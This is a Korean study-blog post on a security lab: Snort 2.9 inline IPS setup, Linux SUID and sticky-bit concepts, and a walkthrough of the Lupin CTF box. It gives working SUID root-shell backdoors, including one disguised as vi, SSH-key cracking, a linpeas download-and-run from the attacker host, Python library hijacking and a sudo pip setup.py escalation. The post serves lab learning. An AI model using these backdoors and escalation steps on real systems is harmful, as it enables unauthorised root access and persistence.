리눅스

[ubuntu & kali & CTF Lupinone] Snort IPS 구성부터 CTF 권한 상승까지

palantirops 2026. 5. 14. 17:34

 


오늘은 Snort를 이용한 IPS 환경 구성, 리눅스 특수 권한 개념, 그리고 CTF 문제 풀이까지 진행했다. 각 주제를 순서대로 정리한다.


1. 실습 환경 구성

가상머신 세 대를 기반으로 실습을 진행했다.

머신 역할

Ubuntu (원본) Snort + OSSEC
Ubuntu (리버스) Snort 2.9.x
Kali Linux Suricata / 공격자 역할

 

Ubuntu 머신에는 네트워크 어댑터를 두 개 연결했다. 하나는 NAT, 하나는 브릿지 모드로 설정하고, 두 어댑터 모두 Promiscuous Mode(무차별 모드)를 허용했다.

 

Promiscuous Mode란? 일반적으로 NIC(네트워크 카드)는 자신의 MAC 주소로 향하는 패킷만 받아들인다. Promiscuous Mode를 활성화하면 네트워크를 지나는 모든 패킷을 수신한다. IDS/IPS가 트래픽 전체를 감시하려면 반드시 필요한 설정이다.


2. 네트워크 초기 세팅

정적 IP와 DHCP가 충돌하면 게이트웨이가 사라지는 문제가 반복됐다. 매번 아래 명령어로 수동 복구했다.

# IP 수동 할당
sudo ip addr add 172.16.11.236/24 dev enp0s3

# 인터페이스 활성화
sudo ip link set enp0s3 up
sudo ip link set enp0s8 up

# 기본 게이트웨이 설정
sudo ip route add default via 172.16.11.254 dev enp0s3

# Promiscuous Mode 활성화
sudo ip link set enp0s3 promisc on
sudo ip link set enp0s8 promisc on

# 인터페이스 상태 확인
sudo ip link show enp0s3
ip addr

3. Snort 2.9 IPS 구성

설치

sudo apt install -y snort
# 설치 중 네트워크 대역 입력: 172.16.11.0/24

sudo snort -V
# Snort 2.9.20 확인

snort.conf 설정

sudo vi /etc/snort/snort.conf

 

추가 또는 수정할 항목:

config daq: afpacket
config daq_mode: inline
config logdir: /var/log/snort

 

각 설정의 의미

설정 설명

daq: afpacket 리눅스 커널의 AF_PACKET 소켓을 사용해 패킷을 직접 처리한다
daq_mode: inline 패킷을 감시만 하는 것이 아니라 차단까지 수행하는 IPS 모드
logdir 탐지 로그 저장 경로

Snort 3.x는 Lua 기반으로 설정 구조가 완전히 다르다. 2.9 버전 기준으로 작성된 설정이므로 혼용하지 않도록 주의한다.

설정 검증 및 실행

# 설정 파일 문법 검사
sudo snort -T -c /etc/snort/snort.conf -i enp0s3:enp0s8
# "Successfully validated the Snort configuration" 확인

# IPS 모드 실행
sudo snort -A console -Q -c /etc/snort/snort.conf -i enp0s3:enp0s8

옵션 설명

옵션 의미

-A console 탐지 결과를 터미널에 실시간 출력
-Q inline(IPS) 모드 활성화
-c 설정 파일 경로 지정
-i enp0s3:enp0s8 두 인터페이스를 묶어 인라인 처리

ICMP 차단 룰 작성

sudo vi /etc/snort/rules/local.rules
drop icmp any any -> any any (msg:"IPS PING TEST"; sid:1000001; rev:1;)

룰 구조 설명

항목 값 의미

액션 drop 패킷을 차단하고 로그 기록
프로토콜 icmp ICMP 패킷 대상
출발지 any any 모든 IP, 모든 포트
방향 -> 단방향
목적지 any any 모든 IP, 모든 포트
msg "IPS PING TEST" 로그에 표시될 메시지
sid 1000001 사용자 정의 룰 ID (1000000번대 사용)
# Kali에서 핑 발송
sudo ping 172.16.11.236

# Ubuntu에서 차단 로그 확인
tail /var/log/snort/snort.alert.fast | grep drop

4. 리눅스 특수 권한

/etc/passwd 파일 구조

순서 필드 설명

1 Username 로그인 이름
2 Password 현재는 x로 표시. 실제 해시는 /etc/shadow에 저장
3 UID 사용자 고유 ID. 0은 root
4 GID 기본 그룹 ID
5 GECOS 이름, 연락처 등 부가 정보
6 Home Dir 홈 디렉토리 경로
7 Shell 기본 쉘 경로

RGID와 EGID

구분 설명

RGID (Real Group ID) 프로세스를 실행한 실제 사용자의 그룹 ID
EGID (Effective Group ID) 커널이 실제 권한 체크 시 참조하는 그룹 ID

 

파일 접근 권한을 판단할 때 커널은 RGID가 아닌 EGID를 본다. SetUID/SetGID가 이 차이를 이용한다.

SetUID (SUID)

SetUID는 실행 파일에 설정하는 특수 권한이다. 이 권한이 설정된 파일은 누가 실행하든 파일 소유자의 권한(EUID)으로 동작한다.

왜 이게 중요한가?

 

리눅스에서 일반 사용자가 passwd 명령어로 자신의 비밀번호를 변경할 수 있는 이유가 바로 SetUID 때문이다. /usr/bin/passwd는 root 소유의 파일이고 SUID가 설정돼 있어서, 일반 유저가 실행해도 실행 순간만큼은 root 권한으로 /etc/shadow를 수정할 수 있다. 문제는 이 구조가 공격자에게도 동일하게 작동한다는 점이다. SUID가 설정된 파일을 악의적으로 만들거나, 기존 SUID 바이너리의 취약점을 이용하면 일반 계정으로 root 쉘을 획득할 수 있다.

파일 표기: -rwsr-xr-x
숫자 표기: 4755
# SUID 설정된 파일 목록 조회 (보안 점검 시 필수)
sudo find / -user root -perm /4000

SetUID 백도어 실습

# bash 복사 후 SUID 부여
sudo cp /bin/bash /tmp/bash
sudo chmod 4755 /tmp/bash

# 일반 유저로 실행
cd /tmp
./bash   # → root 쉘 획득

 

C 백도어 작성

#include <stdio.h>

main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
gcc -o backdoor backdoor.c
sudo chmod 4755 backdoor

# 일반 유저로 실행
su ys
./backdoor   # → root 쉘

 

setuid(0)과 setgid(0)은 프로세스의 UID/GID를 강제로 0(root)으로 변경하는 호출이다. 파일에 SUID가 설정돼 있으면 이 호출이 성공하고, 이후 system("/bin/bash")로 root 쉘이 실행된다.

 

vi 하이재킹 실습

SUID 파일의 이름을 자주 쓰는 시스템 명령어로 위장하면 탐지가 어렵다.

# vi 백도어를 실제 vi 경로에 복사
gcc -o vibackdoor vibackdoor.c
# /usr/bin/vi는 alternatives를 통해 실제 바이너리로 연결됨
# test 계정으로 vi 실행 시 root 쉘 획득
su test
vi test.txt   # → root 쉘

Sticky Bit

공용 디렉토리에서 자신이 만든 파일만 자신(과 root)이 삭제할 수 있도록 제한하는 권한이다. /tmp가 대표적인 예시다.

mkdir /share_d
chmod 1777 /share_d
ls -ld /share_d
# drwxrwxrwt → 마지막 't'가 Sticky Bit

권한 숫자 의미

SetUID 4xxx 파일 소유자 권한으로 실행
SetGID 2xxx 파일 그룹 권한으로 실행
Sticky Bit 1xxx 본인 파일만 본인이 삭제 가능

5. CTF — Lupin

정찰

# 포트 및 서비스 스캔
sudo nmap -A -sS -sC -p- 172.16.11.219

# 디렉토리 탐색
sudo dirb http://172.16.11.219
sudo gobuster dir -u http://172.16.11.219 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

nmap 주요 옵션

옵션 명칭 설명

-sS TCP SYN Scan 연결을 완전히 맺지 않는 스텔스 스캔
-sV Version Detection 서비스 버전 확인
-sC Default Script 기본 NSE 스크립트 실행
-sn Ping Scan 생존 여부만 확인
-A Aggressive OS/버전/스크립트/traceroute 통합
-p- All Ports 전체 65535 포트 스캔

FFUF 디렉토리 퍼징 (디렉터리 검색, 퍼징 등을 수행하는 fest web fuzzer)

# 유저 디렉토리 탐색 (~FUZZ 형태)
sudo ffuf -u http://172.16.11.219/~FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c
# → /~secret 발견

# 확장자 포함 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/.FUZZ \
  -e .py,.java,.php,.dart,.rar,.zip,.txt,.html \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -t 200 -c -ic -fc 403

# 일반 파일 탐색
sudo ffuf -u http://172.16.11.219/~secret/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -ic -v

인코딩 — Base64 vs Base58

발견한 데이터가 인코딩된 형태였다. 두 방식의 차이를 정리했다.

구분 Base64 Base58

사용 문자 수 64개 58개
특수문자 +, / 포함 없음
패딩 = 사용 없음
혼동 문자 O, 0, I, l 포함 제거됨
주요 용도 데이터 전송, 이메일 암호화폐 주소

SSH 개인키 크랙 — John the Ripper

# 권한 설정
sudo chmod 600 /home/red/victim_id_rsa

# ssh2john으로 해시 추출
sudo ssh2john /home/red/victim_id_rsa > hash_password

# 사전 파일로 크랙
sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash_password
# 결과: P@55w0rd!

 

John the Ripper는 해시를 사전 대입(Dictionary Attack) 또는 무차별 대입(Brute-force) 방식으로 크랙한다. SSH 개인키는 ssh2john으로 먼저 john이 처리할 수 있는 해시 형태로 변환해야 한다.

권한 상승 1 — Python Library Hijacking

# 공격자 머신에서 linpeas 서빙
python3 -m http.server 8080

# 피해자 머신에서 다운로드
wget http://172.16.11.213:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# heist.py 확인
cat /home/arsene/heist.py

# webbrowser 모듈 경로 탐색
find / -name '*webbrowser*' 2>/dev/null

# 모듈 파일 수정
vi /usr/lib/python3.9/webbrowser.py
# import 구문 바로 아래에 추가:
# os.system("/bin/bash")

# arsene 권한으로 heist.py 실행
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
id   # arsene 권한 확인

 

왜 이게 가능한가?

heist.py가 import webbrowser를 호출할 때 Python은 시스템에 설치된 /usr/lib/python3.9/webbrowser.py를 불러온다. 해당 파일을 수정할 수 있는 권한이 있었기 때문에, import 시점에 우리가 심어둔 os.system("/bin/bash")가 실행됐다. 프로그램이 신뢰하는 외부 모듈을 공격자가 조작하는 것을 Library Hijacking이라고 한다.

권한 상승 2 — pip setup.py 악용

# sudo 가능 명령어 확인
sudo -l
# → /usr/bin/pip 실행 가능 확인

# 임시 디렉토리 생성
TF=$(mktemp -d)

# setup.py에 쉘 코드 삽입
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

# root 권한으로 pip 실행
sudo /usr/bin/pip install $TF
# → root 쉘 획득

 

왜 pip로 권한 상승이 가능한가?

pip install은 패키지를 설치하는 과정에서 setup.py를 실행한다. sudo pip로 실행하면 이 setup.py가 root 권한으로 실행된다. 따라서 setup.py 안에 쉘을 여는 코드를 넣으면 root 쉘이 떨어진다. Library Hijacking과 본질적으로 같은 원리다. 신뢰받는 실행 경로에 공격자의 코드를 끼워넣는 것이다.

 

추가 정리

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py


1. sudo -u [사용자]의 마법
sudo는 기본적으로 "다른 사용자의 권한으로 명령을 실행하라"는 도구입니다.
-u arsene: 이 옵션은 "나(icex64) 말고, arsene이라는 사용자의 이름으로 뒤에 오는 명령어를 실행해줘"라고 시스템에 요청하는 것입니다.
결과적으로 /usr/bin/python3.9 /home/arsene/heist.py라는 프로그램이 실행될 때, 운영체제는 이 프로그램의 주인을 icex64가 아닌 arsene으로 인식하게 됩니다.

icex64가 sudo -u arsene으로 프로그램을 돌림.
프로그램은 arsene의 권한으로 살아남.
프로그램이 webbrowser.py를 읽는 순간, 우리가 심어둔 코드가 작동하여 arsene 권한의 쉘(/bin/bash)을 띄움.
프로그램이 종료되지 않고 쉘이 열려 있으니, 사용자는 그대로 arsene 계정 안에 머물게 됨.


오늘의 핵심 정리

주제 핵심

Snort IPS afpacket + inline 모드, 인터페이스 두 개를 :로 묶어 인라인 처리
Promiscuous Mode NIC가 자신 외의 패킷도 수신. IDS/IPS 필수 설정
SetUID 실행 시 소유자 권한으로 동작. 보안 점검 시 find / -perm /4000 필수
Library Hijacking 프로그램이 import하는 모듈을 교체해 원하는 코드를 실행
sudo -l 권한 상승 시도 전 항상 먼저 확인. 예상치 못한 경로가 열려 있는 경우가 많음
linpeas 결과가 방대하므로 SUID, sudo 권한, writable 경로 섹션부터 확인